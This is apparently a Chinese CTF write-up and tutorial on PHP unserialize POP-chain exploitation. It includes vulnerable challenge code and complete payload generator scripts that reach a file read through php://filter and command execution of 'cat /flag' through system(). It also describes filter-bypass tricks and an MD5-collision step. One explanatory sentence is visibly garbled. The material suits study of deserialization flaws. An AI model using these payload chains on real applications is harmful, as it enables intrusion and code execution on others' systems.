1、POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
2、POP CHAIN:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
1、一些有用的POP链中出现的方法:
- 命令执行:exec()、passthru()、popen()、system()
- 文件操作:file_put_contents()、file_get_contents()、unlink()
2、**反序列化中为了避免信息丢失,使用大写S支持字符串的编码。**PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这 个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:
s:4:"user"; -> S:4:"use\72";
3、深浅copy:在 php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。
参考:深浅copy
4、配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。
<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
其中出现的魔术方法:
__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
构造pop链:
__wakeup()
方法source
=new Show()
后 __wakeup()
会调用__toString()
$str
=new Test()
就会调用__get()
方法p
=new Modifier()
就会调用__invoke()
,然后命令执行Modifier::__invoke()<--Test::__get()<--Show::__toString()
所以构造:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; #include函数使用为协议读取文件
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$pop = new Show();//此时source(show)->str
$pop->source = new Show();//source(show)->str之后触发__tostring然后访问source(test)触发__get
$pop->source->str->p = new Modifier();//__get返回的p触发__invoke
echo urlencode(serialize($pop));
?>
法2(y4):
<?php
ini_set('memory_limit','-1');
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
$this->str = new Test();
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));
<?php
error_reporting(0);
highlight_file(__FILE__);
class hackMe{
protected $formatters;
public function __call($method, $attributes){ #在对象中调用一个不可访问方法时调用
return $this->format($method, $attributes);
}
public static function hackMMM(){
echo "Hello web!";
}
public function format($formatter, $arguments)
{
$this->getFormatter($formatter)->patch($arguments[0][4][1]);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter]; # $this->formatters['dispatch'] = new flag();
}
}
}
class Ox401{
protected $events;
protected $event;
public function __destruct(){
$this->events->dispatch($this->event); # $this->events = new hackMe();
# $this->event[4][1]= "cat /flag";
}
public static function welcome(){
echo "Welcome to 0x401 Team!";
}
}
class flag{
protected $f1ag;
public function patch($Fire){
call_user_func($this->f1ag,$Fire);
}
}
if($_POST['a']!=$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
if(file_get_contents(substr($_POST['a'],0,20))!=null){
@unserialize(base64_decode($_POST['c']));
}else{
hackMe::hackMMM();
}
}else{
Ox401::welcome();
}
?>
__destruct(),类的析构函数,对象被销毁时调用
__call(),在对象中调用一个不可访问方法时调用
file_get_contents(),把整个文件读入一个字符串中
call_user_func(), 把第一个参数作为回调函数调用
call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
在进行反序列化之前会有md5的强比较,之前遇到这种值的时候,一般绕过手段是使用数组或者是一对特定的字符串,但是这里额外加入了一个条件file_get_contents(substr($_POST[‘a’],0,20)),如果去不到这个文件,那也不能进行反序列化,所以这里使用了fastcoll工具,它可以对指定文件进行md5碰撞,从而获得两个md5值相同的文件
shell
fastcoll.exe -p 123.txt -o 1.txt 2.txt
工具下载链接:https://pan.baidu.com/s/1t8q89aP50oiFVyFe0JrbJw
提取码:atao
复制这段内容后打开百度网盘手机App,操作更方便哦
class Ox401 -> __destruct //建立hackMe对象,当调用不存在的方法时触发__call
↓↓↓
class hackMe -> __call //建立flag对象
↓↓↓
class flag -> patch //回调函数进行代码执行
在对象中调用一个不可访问方法时,__call()会被调用
在静态上下文中调用一个不可访问方法时,__callStatic()会被调用
调用某个实例化对象中不存在、不可访问的方法时,PHP会调用__call()方法以处理错误调用,而不是抛错
调用未实例化的类中不存在、不可访问的方法时,则调用__callStatic()
二者处理了不可访问方法的重载
它们拥有相同的两个传参: n a m e 用 以 获 取 此 时 调 用 的 不 可 访 问 方 法 的 名 称 , name用以获取此时调用的不可访问方法的名称, name用以获取此时调用的不可访问方法的名称,arguments用以获取此时调用的不可访问方法的参数
<?php
class hackMe{
protected $formatters;
public function __construct(){
$this->formatters['dispatch'] = new flag();
}
}
class Ox401{
protected $events;
protected $event;
public function __construct(){
$this->events = new hackMe();
$this->event[4][1]= "cat /flag";
}
}
class flag{
protected $f1ag = "system";
}
echo base64_encode(serialize(new Ox401()))."\n";
参考链接:
https://www.scuctf.com/ctfwiki/web/unserialize/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
https://blog.csdn.net/Xxy605/article/details/117440845